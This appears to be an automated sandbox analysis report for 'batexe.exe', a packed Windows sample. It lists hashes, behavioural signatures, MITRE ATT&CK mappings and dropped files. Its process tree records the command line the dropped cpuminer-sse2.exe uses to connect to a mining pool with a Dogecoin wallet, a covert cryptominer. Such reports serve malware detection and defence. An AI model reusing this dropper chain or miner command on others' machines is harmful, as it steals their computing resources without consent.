73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 05:56

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4188	b2e.exe
2252	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe
2252	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5040-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 4188	5040	batexe.exe	75
PID 5040 wrote to memory of 4188	5040	batexe.exe	75
PID 5040 wrote to memory of 4188	5040	batexe.exe	75
PID 4188 wrote to memory of 2660	4188	b2e.exe	76
PID 4188 wrote to memory of 2660	4188	b2e.exe	76
PID 4188 wrote to memory of 2660	4188	b2e.exe	76
PID 2660 wrote to memory of 2252	2660	cmd.exe	79
PID 2660 wrote to memory of 2252	2660	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Users\Admin\AppData\Local\Temp\971F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\971F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\971F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9904.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\971F.tmp\b2e.exe

Filesize
7.4MB

MD5
146926bdcb8b4ca147064405ed6a72f3

SHA1
bed86a28f0ac236b3285a9d930ddaea72eb69e08

SHA256
7294c61f5efc43fe07f1e73c7f7710a00cbc2499f9b083720f2745b9a4546dce

SHA512
74bfa954b13f08674a60b0d51f1238e2c0f6c3fc66551c65f31c940b4732d18a30d3cc88ae5d95c07bc93f49dbaca1f4fd231dc47b584b575f7a28b1d8ed7a13

Download Submit
C:\Users\Admin\AppData\Local\Temp\971F.tmp\b2e.exe

Filesize
5.5MB

MD5
e332142e8028b695bb427ad90cd0716c

SHA1
b07cce7060f1c0b65927492958d9f8fe88513f25

SHA256
881af49c6971c9e42351acdd7840fffab2fc0b76deb4ec3fbd79eb991230b299

SHA512
bf594822360ca8a6bf7a6443c8f39f440592e43b2639a23629aaa59dd9fbe6d8443fd654c4cda307d26b1ac40b2220d46f621fe5d0d72ee00fa4b42b9b4a23e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\9904.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
d82324a26000f114392a02c3c7ae2340

SHA1
fbedfccc4c8b7b997ec7a8b70a999d119ffd8535

SHA256
e30a2bc7284a7d53e834a3983ac81545a22fcc6dad05610e959ee72891edc03b

SHA512
c3d534cd2e5f25d9e514906bae9a5c68916b2700d3a9c72b5a77f73f29e5201b99907df64c6831f36064db5456f167f4e1036b2606ad5db262628792250bf227

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
96c6b0050429307cd2b8df95779dda18

SHA1
9be1635d1c90f1943d7878b1342a1714c16fb17a

SHA256
2faba06888ca67464b97ddba3d35ef08602df1d738824c6e52a44f7811f0eef6

SHA512
1d77b96b6d337f65dbdc09a5f7f50576f8c5eaa1e94534f3d777f968b762698eb51e2de8f1f55cd158557f905093f3e831ddd0743faaa57e021fe393793e5272

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
12c3ad043ad8c68057c770d4b7b6789b

SHA1
e44d7cceb44f1d640985637ed02d5ee26551b348

SHA256
6b7f3b5a950860e06cfee907ef8eee8f969cf2da2adb83d39d0b74fe00e4a777

SHA512
4acff77e18411d8f09724d39864dd8cd3e8ddf91777e5a9ce9dea9b4715166f3f0ad3113c0e3c218a2c6473cabd2aef2365d4df1dc0afd9dbabbfa60dd8f2bc1

Download Submit
memory/2252-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-43-0x000000006D380000-0x000000006D418000-memory.dmp

Filesize
608KB

Download
memory/2252-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2252-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2252-44-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/2252-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2252-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4188-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4188-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5040-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download